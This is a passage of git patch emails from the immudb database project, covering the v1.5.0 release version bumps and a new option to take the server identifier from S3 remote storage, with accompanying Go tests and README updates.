txholder) + require.NoError(t, err) +} From 6103e9a00dd062f466b5a275cbaea18a647c69a1 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 20 Jun 2023 10:13:16 -0300 Subject: [PATCH 0641/1062] release: v1.5.0 --- CHANGELOG.md | 15 ++++++++++++++- Makefile | 2 +- README.md | 12 ++++++------ helm/Chart.yaml | 4 ++-- 4 files changed, 23 insertions(+), 10 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 6933edb489..0fee95dca2 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,18 @@ All notable changes to this project will be documented in this file. This projec ## [Unreleased] + +## [v1.5.0] - 2023-06-20 +### Bug Fixes +- **embedded/store:** handle replication of empty values + +### Changes +- **embedded/document:** naming validations +- **embedded/document:** allow hyphen in doc naming +- **embedded/document:** collection and field naming validations +- **embedded/store:** embedded values and prealloc disabled by default + + ## [v1.5.0-RC1] - 2023-06-16 ### Bug Fixes @@ -3581,7 +3593,8 @@ All notable changes to this project will be documented in this file. This projec - **tree:** MTH reference impl -[Unreleased]: https://github.com/vchain-us/immudb/compare/v1.5.0-RC1...HEAD +[Unreleased]: https://github.com/vchain-us/immudb/compare/v1.5.0...HEAD +[v1.5.0]: https://github.com/vchain-us/immudb/compare/v1.5.0-RC1...v1.5.0 [v1.5.0-RC1]: https://github.com/vchain-us/immudb/compare/v1.4.1...v1.5.0-RC1 [v1.4.1]: https://github.com/vchain-us/immudb/compare/v1.4.1-RC1...v1.4.1 [v1.4.1-RC1]: https://github.com/vchain-us/immudb/compare/v1.4.0...v1.4.1-RC1 diff --git a/Makefile b/Makefile index e575e545db..995db4657f 100644 --- a/Makefile +++ b/Makefile @@ -16,7 +16,7 @@ export GO111MODULE=on SHELL=/bin/bash -o pipefail -VERSION=1.5.0-RC1 +VERSION=1.5.0 DEFAULT_WEBCONSOLE_VERSION=1.0.18 SERVICES=immudb immuadmin immuclient TARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64 diff --git a/README.md b/README.md index de78460a52..47bea1fce6 100644 --- a/README.md +++ b/README.md @@ -82,11 +82,11 @@ Click here to try out the immudb web console access in an [online demo environme ### Getting immudb running: executable -You may download the immudb binary from [the latest releases on Github](https://github.com/codenotary/immudb/releases/latest). Once you have downloaded immudb, rename it to `immudb`, make sure to mark it as executable, then run it. The following example shows how to obtain v1.4.1 for linux amd64: +You may download the immudb binary from [the latest releases on Github](https://github.com/codenotary/immudb/releases/latest). Once you have downloaded immudb, rename it to `immudb`, make sure to mark it as executable, then run it. The following example shows how to obtain v1.5.0 for linux amd64: ```bash -wget https://github.com/codenotary/immudb/releases/download/v1.4.1/immudb-v1.4.1-linux-amd64 -mv immudb-v1.4.1-linux-amd64 immudb +wget https://github.com/codenotary/immudb/releases/download/v1.5.0/immudb-v1.5.0-linux-amd64 +mv immudb-v1.5.0-linux-amd64 immudb chmod +x immudb # run immudb in the foreground to see all output @@ -198,11 +198,11 @@ docker run --net=host -it --entrypoint /bin/sh minio/mc -c " ### Connecting with immuclient -You may download the immuclient binary from [the latest releases on Github](https://github.com/codenotary/immudb/releases/latest). Once you have downloaded immuclient, rename it to `immuclient`, make sure to mark it as executable, then run it. The following example shows how to obtain v1.4.1 for linux amd64: +You may download the immuclient binary from [the latest releases on Github](https://github.com/codenotary/immudb/releases/latest). Once you have downloaded immuclient, rename it to `immuclient`, make sure to mark it as executable, then run it. The following example shows how to obtain v1.5.0 for linux amd64: ```bash -wget https://github.com/codenotary/immudb/releases/download/v1.4.1/immuclient-v1.4.1-linux-amd64 -mv immuclient-v1.4.1-linux-amd64 immuclient +wget https://github.com/codenotary/immudb/releases/download/v1.5.0/immuclient-v1.5.0-linux-amd64 +mv immuclient-v1.5.0-linux-amd64 immuclient chmod +x immuclient # start the interactive shell diff --git a/helm/Chart.yaml b/helm/Chart.yaml index bee3f2a709..5d29243587 100644 --- a/helm/Chart.yaml +++ b/helm/Chart.yaml @@ -2,5 +2,5 @@ apiVersion: v2 name: immudb description: The immutable database type: application -version: 1.4.1 -appVersion: "1.4.1" +version: 1.5.0 +appVersion: "1.5.0" From 236b56f1b618da296592f0f929706bfb76d2a8e8 Mon Sep 17 00:00:00 2001 From: moshix Date: Thu, 22 Jun 2023 11:15:51 -0500 Subject: [PATCH 0642/1062] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 47bea1fce6..fee656c295 100644 --- a/README.md +++ b/README.md @@ -25,7 +25,7 @@ immudb!](https://img.shields.io/twitter/url/http/shields.io.svg?style=social&lab Don't forget to ⭐ this repo if you like immudb! -[:tada: 15M pulls from docker hub!](https://hub.docker.com/r/codenotary) +[:tada: 20M pulls from docker hub!](https://hub.docker.com/r/codenotary) --- From 91b4ab96b4bfb2c62e1f07ae84494b4af6cbda50 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 22 Jun 2023 10:21:13 -0300 Subject: [PATCH 0643/1062] fix(embedded/appendable): explicit freebsd build clauses Signed-off-by: Jeronimo Irazabal --- embedded/appendable/fileutils/fileutils_unix_nonlinux.go | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/embedded/appendable/fileutils/fileutils_unix_nonlinux.go b/embedded/appendable/fileutils/fileutils_unix_nonlinux.go index 230261113c..d8db7e9d9a 100644 --- a/embedded/appendable/fileutils/fileutils_unix_nonlinux.go +++ b/embedded/appendable/fileutils/fileutils_unix_nonlinux.go @@ -1,5 +1,5 @@ -//go:build unix && !linux && !darwin -// +build unix,!linux,!darwin +//go:build unix && !linux && !darwin && !freebsd +// +build unix,!linux,!darwin,!freebsd /* Copyright 2023 Codenotary Inc. All rights reserved. From cd371f18b35a7926fecadee05624515c8b9ea005 Mon Sep 17 00:00:00 2001 From: NikitaSmall Date: Mon, 19 Jun 2023 14:32:26 +0300 Subject: [PATCH 0644/1062] feat: add flag for using external id as a main one when the remote storage configured correctly, the identifier is taken from it IF POSSIBLE. that means that if the id is not present in the remote storage, immudb works as before (creates new id and then saves it in the remote) --- cmd/immudb/command/init.go | 2 ++ cmd/immudb/command/parse_options.go | 4 ++- pkg/server/options.go | 21 +++++++++----- pkg/server/options_test.go | 44 +++++++++++++++++++++++++++++ pkg/server/remote_storage.go | 2 +- pkg/server/remote_storage_test.go | 28 ++++++++++++++++++ 6 files changed, 92 insertions(+), 9 deletions(-) diff --git a/cmd/immudb/command/init.go b/cmd/immudb/command/init.go index 06545ce242..6d7c579c35 100644 --- a/cmd/immudb/command/init.go +++ b/cmd/immudb/command/init.go @@ -78,6 +78,7 @@ func (cl *Commandline) setupFlags(cmd *cobra.Command, options *server.Options) { cmd.Flags().String("s3-bucket-name", "", "s3 bucket name") cmd.Flags().String("s3-location", "", "s3 location (region)") cmd.Flags().String("s3-path-prefix", "", "s3 path prefix (multiple immudb instances can share the same bucket if they have different prefixes)") + cmd.Flags().Bool("s3-external-identifier", false, "use external identifier over the local") cmd.Flags().Int("max-sessions", 100, "maximum number of simultaneously opened sessions") cmd.Flags().Duration("max-session-inactivity-time", 3*time.Minute, "max session inactivity time is a duration after which an active session is declared inactive by the server. A session is kept active if server is still receiving requests from client (keep-alive or other methods)") cmd.Flags().Duration("max-session-age-time", 0, "the current default value is infinity. max session age time is a duration after which session will be forcibly closed") @@ -138,6 +139,7 @@ func setupDefaults(options *server.Options) { viper.SetDefault("s3-bucket-name", "") viper.SetDefault("s3-location", "") viper.SetDefault("s3-path-prefix", "") + viper.SetDefault("s3-external-identifier", false) viper.SetDefault("max-sessions", 100) viper.SetDefault("max-session-inactivity-time", 3*time.Minute) viper.SetDefault("max-session-age-time", 0) diff --git a/cmd/immudb/command/parse_options.go b/cmd/immudb/command/parse_options.go index cf58217e53..cd668ae8a1 100644 --- a/cmd/immudb/command/parse_options.go +++ b/cmd/immudb/command/parse_options.go @@ -91,6 +91,7 @@ func parseOptions() (options *server.Options, err error) { s3BucketName := viper.GetString("s3-bucket-name") s3Location := viper.GetString("s3-location") s3PathPrefix := viper.GetString("s3-path-prefix") + s3ExternalIdentifier := viper.GetBool("s3-external-identifier") remoteStorageOptions := server.DefaultRemoteStorageOptions(). WithS3Storage(s3Storage). @@ -99,7 +100,8 @@ func parseOptions() (options *server.Options, err error) { WithS3SecretKey(s3SecretKey). WithS3BucketName(s3BucketName). WithS3Location(s3Location). - WithS3PathPrefix(s3PathPrefix) + WithS3PathPrefix(s3PathPrefix). + WithS3ExternalIdentifier(s3ExternalIdentifier) sessionOptions := sessions.DefaultOptions(). WithMaxSessions(viper.GetInt("max-sessions")). diff --git a/pkg/server/options.go b/pkg/server/options.go index d1476d2525..55a8e7434f 100644 --- a/pkg/server/options.go +++ b/pkg/server/options.go @@ -76,13 +76,14 @@ type Options struct { } type RemoteStorageOptions struct { - S3Storage bool - S3Endpoint string - S3AccessKeyID string - S3SecretKey string `json:"-"` - S3BucketName string - S3Location string - S3PathPrefix string + S3Storage bool + S3Endpoint string + S3AccessKeyID string + S3SecretKey string `json:"-"` + S3BucketName string + S3Location string + S3PathPrefix string + S3ExternalIdentifier bool } type ReplicationOptions struct { @@ -322,6 +323,7 @@ func (o *Options) String() string { opts = append(opts, rightPad(" location", o.RemoteStorageOptions.S3Location)) } opts = append(opts, rightPad(" prefix", o.RemoteStorageOptions.S3PathPrefix)) + opts = append(opts, rightPad(" external id", o.RemoteStorageOptions.S3ExternalIdentifier)) } if o.AdminPassword == auth.SysAdminPassword { opts = append(opts, "----------------------------------------") @@ -507,6 +509,11 @@ func (opts *RemoteStorageOptions) WithS3PathPrefix(s3PathPrefix string) *RemoteS return opts } +func (opts *RemoteStorageOptions) WithS3ExternalIdentifier(s3ExternalIdentifier bool) *RemoteStorageOptions { + opts.S3ExternalIdentifier = s3ExternalIdentifier + return opts +} + // ReplicationOptions func (opts *ReplicationOptions) WithIsReplica(isReplica bool) *ReplicationOptions { diff --git a/pkg/server/options_test.go b/pkg/server/options_test.go index 8ea605e70a..4306293674 100644 --- a/pkg/server/options_test.go +++ b/pkg/server/options_test.go @@ -237,6 +237,7 @@ S3 storage bucket name : s3-bucket-name location : s3-location prefix : s3-path-prefix + external id : false ---------------------------------------- Superadmin default credentials Username : immudb @@ -258,6 +259,49 @@ Superadmin default credentials require.Equal(t, expected, op.String()) } +func TestOptionsStringWithS3ExternalIdentifier(t *testing.T) { + expected := `================ Config ================ +Data dir : ./data +Address : 0.0.0.0:3322 +Metrics address : 0.0.0.0:9497/metrics +Sync replication : false +Config file : configs/immudb.toml +PID file : immu.pid +Log file : immu.log +Max recv msg size: 33554432 +Auth enabled : true +Dev mode : false +Default database : defaultdb +Maintenance mode : false +Synced mode : true +S3 storage + endpoint : s3-endpoint + bucket name : s3-bucket-name + location : s3-location + prefix : s3-path-prefix + external id : true +---------------------------------------- +Superadmin default credentials + Username : immudb + Password : immudb +========================================` + + op := DefaultOptions(). + WithPidfile("immu.pid"). + WithLogfile("immu.log"). + WithRemoteStorageOptions( + DefaultRemoteStorageOptions(). + WithS3Storage(true). + WithS3Endpoint("s3-endpoint"). + WithS3BucketName("s3-bucket-name"). + WithS3Location("s3-location"). + WithS3PathPrefix("s3-path-prefix"). + WithS3ExternalIdentifier(true), + ) + + require.Equal(t, expected, op.String()) +} + func TestOptionsStringWithPProf(t *testing.T) { expected := `================ Config ================ Data dir : ./data diff --git a/pkg/server/remote_storage.go b/pkg/server/remote_storage.go index dbde58d030..13a2127632 100644 --- a/pkg/server/remote_storage.go +++ b/pkg/server/remote_storage.go @@ -80,7 +80,7 @@ func (s *ImmuServer) initializeRemoteStorage(storage remotestorage.Storage) erro return err } - if !fileExists(localIdentifierFile) { + if !fileExists(localIdentifierFile) || s.Options.RemoteStorageOptions.S3ExternalIdentifier { err := ioutil.WriteFile(localIdentifierFile, remoteId, os.ModePerm) if err != nil { return err diff --git a/pkg/server/remote_storage_test.go b/pkg/server/remote_storage_test.go index e00f287e68..231b875817 100644 --- a/pkg/server/remote_storage_test.go +++ b/pkg/server/remote_storage_test.go @@ -229,6 +229,34 @@ func TestInitializeRemoteStorageDownloadIdentifier(t *testing.T) { require.Equal(t, []byte{1, 2, 3, 4, 5}, id) } +func TestInitializeRemoteStorageWithoutLocalIdentifier(t *testing.T) { + dir := t.TempDir() + + opts := DefaultOptions().WithDir(dir) + opts.RemoteStorageOptions.S3ExternalIdentifier = true + + s := DefaultServer() + + s.WithOptions(opts) + + m := memory.Open() + storeData(t, m, "immudb.identifier", []byte{1, 2, 3, 4, 5}) + + err := s.Initialize() + require.NoError(t, err) + + err = s.initializeRemoteStorage(m) + require.NoError(t, err) + + uuidFilename := filepath.Join(dir, "immudb.identifier") + + require.FileExists(t, uuidFilename) + + id, err := ioutil.ReadFile(uuidFilename) + require.NoError(t, err) + require.Equal(t, []byte{1, 2, 3, 4, 5}, id) +} + func TestInitializeRemoteStorageDownloadIdentifierErrorOnGet(t *testing.T) { dir := t.TempDir() From d05dc1b2a8bad5edb3e6a6ec708ac15ba7a9cbc9 Mon Sep 17 00:00:00 2001 From: NikitaSmall Date: Mon, 19 Jun 2023 14:37:45 +0300 Subject: [PATCH 0645/1062] feat: update readme --- README.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/README.md b/README.md index fee656c295..8ea2c2c549 100644 --- a/README.md +++ b/README.md @@ -172,6 +172,14 @@ export IMMUDB_S3_ENDPOINT="https://${IMMUDB_S3_BUCKET_NAME}.s3.${IMMUDB_S3_LOCAT ./immudb ``` +When working with the external storage, you can enable the option for the remote storage +to be the primary source of identifier. This way, if ImmuDB is run using ephemeral disks, +such as with AWS ECS Fargate, the identifier can be taken from S3. To enable that, use: + +```bash +export IMMUDB_S3_EXTERNAL_IDENTIFIER=true +``` + You can also easily use immudb with compatible s3 alternatives such as the [minio](https://github.com/minio/minio) server: From 65d8bd2be260b922a3bdca6cb6a9af833b8ea0da Mon Sep 17 00:00:00 2001 From: NikitaSmall Date: Tue, 27 Jun 2023 12:13:23 +0300 Subject: [PATCH 0646/1062] fix: correct immudb name in readme --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 8ea2c2c549..7a9f174c14 100644 --- a/README.md +++ b/README.md @@ -173,7 +173,7 @@ export IMMUDB_S3_ENDPOINT="https://${IMMUDB_S3_BUCKET_NAME}.s3.${IMMUDB_S3_LOCAT ``` When working with the external storage, you can enable the option for the remote storage -to be the primary source of identifier. This way, if ImmuDB is run using ephemeral disks, +to be the primary source of identifier. This way, if immudb is run using ephemeral disks, such as with AWS ECS Fargate, the identifier can be taken from S3. To enable that, use: ```bash From 793ca9b06aee921cfa36809863be445e28e25bc7 Mon Sep 17 00:00:00 2001 From: NikitaSmall Date: Tue, 27 Jun 2023 14:36:51 +0300 Subject: [PATCH 0647/1062] feat: prevent identifier from creation when use external id option --- pkg/server/remote_storage.go | 35 ++++++++++++++----- pkg/server/remote_storage_test.go | 57 ++++++++++++++++++++++++++++--- pkg/server/server.go | 2 +- pkg/server/uuid.go | 9 +++-- pkg/server/uuid_test.go | 18 +++++++--- 5 files changed, 100 insertions(+), 21 deletions(-) diff --git a/pkg/server/remote_storage.go b/pkg/server/remote_storage.go index 13a2127632..8e872d5485 100644 --- a/pkg/server/remote_storage.go +++ b/pkg/server/remote_storage.go @@ -31,10 +31,16 @@ import ( "github.com/codenotary/immudb/embedded/remotestorage/s3" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/errors" + "github.com/rs/xid" ) +// this set of errors is grouped around remote storage identifier concept +// and covers multiple possible scenarios or remote storage configurations var ( - ErrRemoteStorageDoesNotMatch = errors.New("remote storage does not match local files") + ErrRemoteStorageDoesNotMatch = errors.New("remote storage does not match local files for identifiers") + ErrUnexpectedLocalIdentifier = errors.New("remote storage does not expect local identifier, set for remote") + ErrNoStorageForIdentifier = errors.New("remote storage does not exist, unable to retrieve identifier") + ErrNoRemoteIdentifier = errors.New("remote storage does not have expected identifier") ) func (s *ImmuServer) createRemoteStorageInstance() (remotestorage.Storage, error) { @@ -55,6 +61,9 @@ func (s *ImmuServer) createRemoteStorageInstance() (remotestorage.Storage, error func (s *ImmuServer) initializeRemoteStorage(storage remotestorage.Storage) error { if storage == nil { + if s.Options.RemoteStorageOptions.S3ExternalIdentifier { + return ErrNoStorageForIdentifier + } // No remote storage return nil } @@ -66,32 +75,40 @@ func (s *ImmuServer) initializeRemoteStorage(storage remotestorage.Storage) erro return err } + if !hasRemoteIdentifier && s.Options.RemoteStorageOptions.S3ExternalIdentifier { + return ErrNoRemoteIdentifier + } + localIdentifierFile := filepath.Join(s.Options.Dir, IDENTIFIER_FNAME) if hasRemoteIdentifier { - - remoteIdStream, err := storage.Get(ctx, IDENTIFIER_FNAME, 0, -1) + remoteIDStream, err := storage.Get(ctx, IDENTIFIER_FNAME, 0, -1) if err != nil { return err } - remoteId, err := ioutil.ReadAll(remoteIdStream) - remoteIdStream.Close() + remoteID, err := ioutil.ReadAll(remoteIDStream) + remoteIDStream.Close() if err != nil { return err } - if !fileExists(localIdentifierFile) || s.Options.RemoteStorageOptions.S3ExternalIdentifier { - err := ioutil.WriteFile(localIdentifierFile, remoteId, os.ModePerm) + if !fileExists(localIdentifierFile) { + err := ioutil.WriteFile(localIdentifierFile, remoteID, os.ModePerm) if err != nil { return err } + s.UUID, err = xid.FromBytes(remoteID) } else { - localId, err := ioutil.ReadFile(localIdentifierFile) + if s.Options.RemoteStorageOptions.S3ExternalIdentifier { + return ErrUnexpectedLocalIdentifier + } + + localID, err := ioutil.ReadFile(localIdentifierFile) if err != nil { return err } - if !bytes.Equal(remoteId, localId) { + if !bytes.Equal(remoteID, localID) { return ErrRemoteStorageDoesNotMatch } } diff --git a/pkg/server/remote_storage_test.go b/pkg/server/remote_storage_test.go index 231b875817..68c64257d3 100644 --- a/pkg/server/remote_storage_test.go +++ b/pkg/server/remote_storage_test.go @@ -229,7 +229,38 @@ func TestInitializeRemoteStorageDownloadIdentifier(t *testing.T) { require.Equal(t, []byte{1, 2, 3, 4, 5}, id) } -func TestInitializeRemoteStorageWithoutLocalIdentifier(t *testing.T) { +func TestInitializeWithEmptyRemoteStorage(t *testing.T) { + dir := t.TempDir() + + opts := DefaultOptions().WithDir(dir) + opts.RemoteStorageOptions.S3ExternalIdentifier = true + + s := DefaultServer() + + s.WithOptions(opts) + + err := s.Initialize() + require.Error(t, ErrNoStorageForIdentifier, err) +} + +func TestInitializeWithRemoteStorageWithoutIdentifier(t *testing.T) { + dir := t.TempDir() + + opts := DefaultOptions().WithDir(dir) + opts.RemoteStorageOptions.S3ExternalIdentifier = true + + s := DefaultServer() + + s.WithOptions(opts) + + m := memory.Open() + s.remoteStorage = m + + err := s.initializeRemoteStorage(m) + require.Error(t, ErrNoRemoteIdentifier, err) +} + +func TestInitializeRemoteStorageWithIdentifierWhenLocalIsPresent(t *testing.T) { dir := t.TempDir() opts := DefaultOptions().WithDir(dir) @@ -242,10 +273,28 @@ func TestInitializeRemoteStorageWithoutLocalIdentifier(t *testing.T) { m := memory.Open() storeData(t, m, "immudb.identifier", []byte{1, 2, 3, 4, 5}) - err := s.Initialize() + _, err := getOrSetUUID(dir, dir, false) require.NoError(t, err) err = s.initializeRemoteStorage(m) + require.ErrorIs(t, err, ErrUnexpectedLocalIdentifier) +} + +func TestInitializeRemoteStorageWithoutLocalIdentifier(t *testing.T) { + dir := t.TempDir() + + opts := DefaultOptions().WithDir(dir) + opts.RemoteStorageOptions.S3ExternalIdentifier = true + + s := DefaultServer() + + s.WithOptions(opts) + + m := memory.Open() + storeData(t, m, "immudb.identifier", []byte{1, 2, 3, 4, 5}) + s.remoteStorage = m + + err := s.initializeRemoteStorage(m) require.NoError(t, err) uuidFilename := filepath.Join(dir, "immudb.identifier") @@ -333,7 +382,7 @@ func TestInitializeRemoteStorageIdentifierMismatch(t *testing.T) { m := memory.Open() storeData(t, m, "immudb.identifier", []byte{1, 2, 3, 4, 5}) - _, err := getOrSetUUID(dir, dir) + _, err := getOrSetUUID(dir, dir, false) require.NoError(t, err) err = s.initializeRemoteStorage(m) @@ -396,7 +445,7 @@ func TestUpdateRemoteUUID(t *testing.T) { m := memory.Open() - uuid, err := getOrSetUUID(dir, dir) + uuid, err := getOrSetUUID(dir, dir, false) require.NoError(t, err) s.UUID = uuid diff --git a/pkg/server/server.go b/pkg/server/server.go index 88dad0235e..1e453876d8 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -115,7 +115,7 @@ func (s *ImmuServer) Initialize() error { systemDbRootDir := s.OS.Join(dataDir, s.Options.GetDefaultDBName()) - if s.UUID, err = getOrSetUUID(dataDir, systemDbRootDir); err != nil { + if s.UUID, err = getOrSetUUID(dataDir, systemDbRootDir, s.Options.RemoteStorageOptions.S3ExternalIdentifier); err != nil { return logErr(s.Logger, "Unable to get or set uuid: %v", err) } diff --git a/pkg/server/uuid.go b/pkg/server/uuid.go index be75bd0964..8769abb324 100644 --- a/pkg/server/uuid.go +++ b/pkg/server/uuid.go @@ -48,11 +48,16 @@ func NewUUIDContext(id xid.ID) uuidContext { return uuidContext{id} } -// getOrSetUUID either reads the identifier file or creates it if it doesn't exist. +// getOrSetUUID either reads the identifier file or creates it if it doesn't exist +// unless useExternalIdentifier is set to true, in which case the local identifier file is ignored. // In earlier versions, the file was located inside default DB directory. Now, it // is moved to the data directory. This function migrates the file to data directory // in case it exists in the default db directory. -func getOrSetUUID(dataDir, defaultDbDir string) (xid.ID, error) { +func getOrSetUUID(dataDir, defaultDbDir string, useExternalIdentifier bool) (xid.ID, error) { + if useExternalIdentifier { + return xid.ID{}, nil + } + fileInDataDir := path.Join(dataDir, IDENTIFIER_FNAME) if fileExists(fileInDataDir) { return getUUID(fileInDataDir) diff --git a/pkg/server/uuid_test.go b/pkg/server/uuid_test.go index 3f13d2255c..122a8c38d8 100644 --- a/pkg/server/uuid_test.go +++ b/pkg/server/uuid_test.go @@ -32,7 +32,7 @@ import ( func TestNewUUID(t *testing.T) { dir := t.TempDir() - id, err := getOrSetUUID(dir, filepath.Join(dir, "defaultDb")) + id, err := getOrSetUUID(dir, filepath.Join(dir, "defaultDb"), false) require.NoError(t, err) require.FileExists(t, filepath.Join(dir, IDENTIFIER_FNAME)) @@ -40,11 +40,19 @@ func TestNewUUID(t *testing.T) { require.Equal(t, uuid.UUID, id) } +// test for external identifier and remote storage +func TestNoUUID(t *testing.T) { + dir := t.TempDir() + id, err := getOrSetUUID(dir, filepath.Join(dir, "defaultDb"), true) + require.NoError(t, err) + require.Equal(t, xid.ID{}, id) +} + func TestExistingUUID(t *testing.T) { x, _ := xid.FromString("bs6c1kn1lu5qfesu061g") dir := t.TempDir() ioutil.WriteFile(filepath.Join(dir, IDENTIFIER_FNAME), x.Bytes(), os.ModePerm) - id, err := getOrSetUUID(dir, filepath.Join(dir, "defaultDb")) + id, err := getOrSetUUID(dir, filepath.Join(dir, "defaultDb"), false) require.NoError(t, err) require.FileExists(t, filepath.Join(dir, IDENTIFIER_FNAME)) @@ -62,7 +70,7 @@ func TestMigrateUUID(t *testing.T) { fileInDefaultDbDir := path.Join(defaultDbDir, IDENTIFIER_FNAME) x, _ := xid.FromString("bs6c1kn1lu5qfesu061g") ioutil.WriteFile(fileInDefaultDbDir, x.Bytes(), os.ModePerm) - id, err := getOrSetUUID(dir, defaultDbDir) + id, err := getOrSetUUID(dir, defaultDbDir, false) require.NoError(t, err) require.FileExists(t, filepath.Join(dir, IDENTIFIER_FNAME)) @@ -74,7 +82,7 @@ func TestMigrateUUID(t *testing.T) { func TestUUIDContextSetter(t *testing.T) { dir := t.TempDir() - id, err := getOrSetUUID(dir, filepath.Join(dir, "defaultDb")) + id, err := getOrSetUUID(dir, filepath.Join(dir, "defaultDb"), false) require.NoError(t, err) uuid := NewUUIDContext(id) @@ -102,7 +110,7 @@ func TestUUIDContextSetter(t *testing.T) { func TestUUIDStreamContextSetter(t *testing.T) { dir := t.TempDir() - id, err := getOrSetUUID(dir, filepath.Join(dir, "defaultDb")) + id, err := getOrSetUUID(dir, filepath.Join(dir, "defaultDb"), false) require.NoError(t, err) uuid := NewUUIDContext(id) From b1d1f9f575b808f7eaca0092199905b0856fb9a5 Mon Sep 17 00:00:00 2001 From: NikitaSmall Date: Tue, 27 Jun 2023 19:55:35 +0300 Subject: [PATCH 0648/1062] fix: allow the local id to be used if present even if remote flag is on --- pkg/server/uuid.go | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/pkg/server/uuid.go b/pkg/server/uuid.go index 8769abb324..aa24ccb128 100644 --- a/pkg/server/uuid.go +++ b/pkg/server/uuid.go @@ -54,10 +54,6 @@ func NewUUIDContext(id xid.ID) uuidContext { // is moved to the data directory. This function migrates the file to data directory // in case it exists in the default db directory. func getOrSetUUID(dataDir, defaultDbDir string, useExternalIdentifier bool) (xid.ID, error) { - if useExternalIdentifier { - return xid.ID{}, nil - } - fileInDataDir := path.Join(dataDir, IDENTIFIER_FNAME) if fileExists(fileInDataDir) { return getUUID(fileInDataDir) @@ -74,6 +70,10 @@ func getOrSetUUID(dataDir, defaultDbDir string, useExternalIdentifier bool) (xid return guid, err } + if useExternalIdentifier { + return xid.ID{}, nil + } + guid := xid.New() err := setUUID(guid, fileInDataDir) return guid, err From 4d2f657aec4bf263fe7d1027606a66809155d92e Mon Sep 17 00:00:00 2001 From: NikitaSmall Date: Fri, 30 Jun 2023 14:45:30 +0300 Subject: [PATCH 0649/1062] fix: apply fixes discussed in PR --- pkg/server/remote_storage.go | 5 ----- pkg/server/remote_storage_test.go | 24 ++---------------------- 2 files changed, 2 insertions(+), 27 deletions(-) diff --git a/pkg/server/remote_storage.go b/pkg/server/remote_storage.go index 8e872d5485..1e941099b5 100644 --- a/pkg/server/remote_storage.go +++ b/pkg/server/remote_storage.go @@ -38,7 +38,6 @@ import ( // and covers multiple possible scenarios or remote storage configurations var ( ErrRemoteStorageDoesNotMatch = errors.New("remote storage does not match local files for identifiers") - ErrUnexpectedLocalIdentifier = errors.New("remote storage does not expect local identifier, set for remote") ErrNoStorageForIdentifier = errors.New("remote storage does not exist, unable to retrieve identifier") ErrNoRemoteIdentifier = errors.New("remote storage does not have expected identifier") ) @@ -99,10 +98,6 @@ func (s *ImmuServer) initializeRemoteStorage(storage remotestorage.Storage) erro } s.UUID, err = xid.FromBytes(remoteID) } else { - if s.Options.RemoteStorageOptions.S3ExternalIdentifier { - return ErrUnexpectedLocalIdentifier - } - localID, err := ioutil.ReadFile(localIdentifierFile) if err != nil { return err diff --git a/pkg/server/remote_storage_test.go b/pkg/server/remote_storage_test.go index 68c64257d3..bf98da0fb6 100644 --- a/pkg/server/remote_storage_test.go +++ b/pkg/server/remote_storage_test.go @@ -240,7 +240,7 @@ func TestInitializeWithEmptyRemoteStorage(t *testing.T) { s.WithOptions(opts) err := s.Initialize() - require.Error(t, ErrNoStorageForIdentifier, err) + require.Error(t, err, ErrNoStorageForIdentifier) } func TestInitializeWithRemoteStorageWithoutIdentifier(t *testing.T) { @@ -257,27 +257,7 @@ func TestInitializeWithRemoteStorageWithoutIdentifier(t *testing.T) { s.remoteStorage = m err := s.initializeRemoteStorage(m) - require.Error(t, ErrNoRemoteIdentifier, err) -} - -func TestInitializeRemoteStorageWithIdentifierWhenLocalIsPresent(t *testing.T) { - dir := t.TempDir() - - opts := DefaultOptions().WithDir(dir) - opts.RemoteStorageOptions.S3ExternalIdentifier = true - - s := DefaultServer() - - s.WithOptions(opts) - - m := memory.Open() - storeData(t, m, "immudb.identifier", []byte{1, 2, 3, 4, 5}) - - _, err := getOrSetUUID(dir, dir, false) - require.NoError(t, err) - - err = s.initializeRemoteStorage(m) - require.ErrorIs(t, err, ErrUnexpectedLocalIdentifier) + require.Error(t, err, ErrNoRemoteIdentifier) } func TestInitializeRemoteStorageWithoutLocalIdentifier(t *testing.T) { From 57bf3cd154dbb9764187267fb3a3cf1456051fcf Mon Sep 17 00:00:00 2001 From: Nikita Date: Fri, 30 Jun 2023 16:57:20 +0300 Subject: [PATCH 0650/1062] Update cmd/immudb/command/init.go Co-authored-by: Jeronimo --- cmd/immudb/command/init.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cmd/immudb/command/init.go b/cmd/immudb/command/init.go index 6d7c579c35..c237a4b40f 100644 --- a/cmd/immudb/command/init.go +++ b/cmd/immudb/command/init.go @@ -78,7 +78,7 @@ func (cl *Commandline) setupFlags(cmd *cobra.Command, options *server.Options) { cmd.Flags().String("s3-bucket-name", "", "s3 bucket name") cmd.Flags().String("s3-location", "", "s3 location (region)") cmd.Flags().String("s3-path-prefix", "", "s3 path prefix (multiple immudb instances can share the same bucket if they have different prefixes)") - cmd.Flags().Bool("s3-external-identifier", false, "use external identifier over the local") + cmd.Flags().Bool("s3-external-identifier", false, "use the remote identifier if there is no local identifier") cmd.Flags().Int("max-sessions", 100, "maximum number of simultaneously opened sessions") cmd.Flags().Duration("max-session-inactivity-time", 3*time.Minute, "max session inactivity time is a duration after which an active session is declared inactive by the server. A session is kept active if server is still receiving requests from client (keep-alive or other methods)") cmd.Flags().Duration("max-session-age-time", 0, "the current default value is infinity. max session age time is a duration after which session will be forcibly closed") From 3c4158850f70d3d49fb6e86984fca805ab4f6dc8 Mon Sep 17 00:00:00 2001 From: Jeronimo Date: Fri, 30 Jun 2023 11:43:48 -0300 Subject: [PATCH 0651/1062] using ErrorIs to validate err is that specific type of error --- pkg/server/remote_storage_test.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkg/server/remote_storage_test.go 